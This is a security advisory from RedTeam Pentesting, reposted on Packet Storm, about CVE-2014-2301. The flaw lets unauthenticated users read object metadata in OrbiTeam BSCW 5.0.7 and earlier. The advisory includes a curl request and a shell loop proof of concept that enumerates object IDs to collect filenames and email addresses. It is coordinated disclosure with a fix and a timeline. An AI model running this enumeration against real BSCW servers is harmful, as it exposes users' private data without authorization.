OrbiTeam BSCW 5.0.7 Metadata Information Disclosure

2014-05-08T00:00:00
ID PACKETSTORM:126551
Type packetstorm
Reporter redteam-pentesting.de
Modified 2014-05-08T00:00:00

Description

                                        
                                            `Advisory: Metadata Information Disclosure in OrbiTeam BSCW  
  
RedTeam Pentesting discovered an information disclosure vulnerability in  
OrbiTeam's BSCW collaboration software. An unauthenticated attacker can  
disclose metadata about internal objects which are stored in BSCW.  
  
  
Details  
=======  
  
Product: BSCW  
Affected Versions: BSCW <=5.0.7  
Fixed Versions: BSCW >=5.0.8  
Vulnerability Type: Information Disclosure  
Security Risk: medium  
Vendor URL: http://www.bscw.de/english/product.html  
Vendor Status: fixed version released  
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-003  
Advisory Status: published  
CVE: CVE-2014-2301  
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2301  
  
  
Introduction  
============  
  
"The BSCW shared workspace system is the tool of choice for efficient  
group collaboration. BSCW permits the creation of documents,  
appointments, contacts, tasks and notes within shared workspaces.  
Without having to install additional software, team members can access  
this data around-the-clock, from anywhere in the world. Mission-critical  
information is constantly available to all authorised personnel  
regardless of location, ensuring that complex workflows can be  
coordinated with minimal effort."  
  
(from OrbiTeam's homepage)  
  
  
More Details  
============  
  
BSCW uses the URL parameter "op" to select different functions of the  
application. For example the password reset dialog can be used by  
opening the following URL:  
  
https://www.example.com/pub/bscw.cgi/?op=chpwd  
  
The server maps the value provided by the parameter "op" to locally  
stored python modules which provide handler functions that are called to  
generate HTTP responses. It was discovered that sensitive metadata about  
internally stored objects of BSCW can be disclosed by using the "inf"  
operation.  
  
When opening the following URL, the filename of a document which  
is identified by the value "12345" is disclosed in the response  
sent by the server (output shortened):  
  
$ curl --header 'Cookie: _pub_bscws="e4efb9e7ace7a12de82aa7a4aff1ab2a:1"' \  
"http://www.example.com/pub/bscw.cgi/12345?op=inf"  
[...]  
<table summary="" class="iTab" border="0" cellspacing="1" cellpadding="4" width="440">  
<tr valign="top">  
<td class="iLabel" id="small" width="88">Name</td>  
<td class="iValueB" width="352">Contract-XXXXX.doc</td>  
</tr>  
</table>  
[...]  
  
The cookie used in the above command is generated by requesting the  
login page of BSCW. It is not necessary to enter credentials.  
  
By iterating over the ids which are assigned in ascending order,  
attackers can enumerate the names of all objects stored in BSCW without  
prior authentication. This includes filenames and email addresses.  
  
  
Proof of Concept  
================  
  
When the following loop is run with a valid (but unauthenticated) BSCW  
cookie, it will find names for the BSCW objects 10000 to 30000:  
  
$ for id in `seq 10000 30000`; do  
filename = `curl --silent --header 'Cookie: _pub_bscws="COOKIE_COOKIE_COOKIE"' \  
"http://www.example.com/pub/bscw.cgi/${id}?op=inf" | \  
grep "iValueB" | \  
sed -e 's;^.*<td class="iValueB" width="352">\(.*\)</td>.*$;\1;'`  
echo "${id}: ${filename}"  
done  
  
  
Workaround  
==========  
  
It may be possible to add another authentication layer, for example  
HTTP-Authentication, to limit access to this BSCW information disclosure  
to persons authorized to use BSCW anyway.  
  
  
Fix  
===  
  
Update to version 5.0.8.  
  
  
Security Risk  
=============  
  
The risk is estimated to be medium. This vulnerability does not allow  
attackers to access files stored in BSCW. They can however retrieve  
filenames, which may be enough to draw conclusions about the  
corresponding file contents, and other potentially sensitive data such  
as email addresses.  
  
  
Timeline  
========  
  
2014-02-20 Vulnerability identified  
2014-03-04 Customer approved disclosure to vendor  
2014-03-06 CVE number requested and assigned  
2014-03-07 Vendor notified  
2014-03-10 Vendor acknowledges vulnerability  
2014-04-22 Vendor released fixed version  
2014-05-08 Advisory released  
  
  
RedTeam Pentesting GmbH  
=======================  
  
RedTeam Pentesting offers individual penetration tests, short pentests,  
performed by a team of specialised IT-security experts. Hereby, security  
weaknesses in company networks or products are uncovered and can be  
fixed immediately.  
  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security related areas. The results are made available as public  
security advisories.  
  
More information about RedTeam Pentesting can be found at  
https://www.redteam-pentesting.de.  
  
--   
RedTeam Pentesting GmbH Tel.: +49 241 510081-0  
Dennewartstr. 25-27 Fax : +49 241 510081-99  
52068 Aachen https://www.redteam-pentesting.de  
Germany Registergericht: Aachen HRB 14004  
Geschäftsführer: Patrick Hof, Jens Liebchen  
`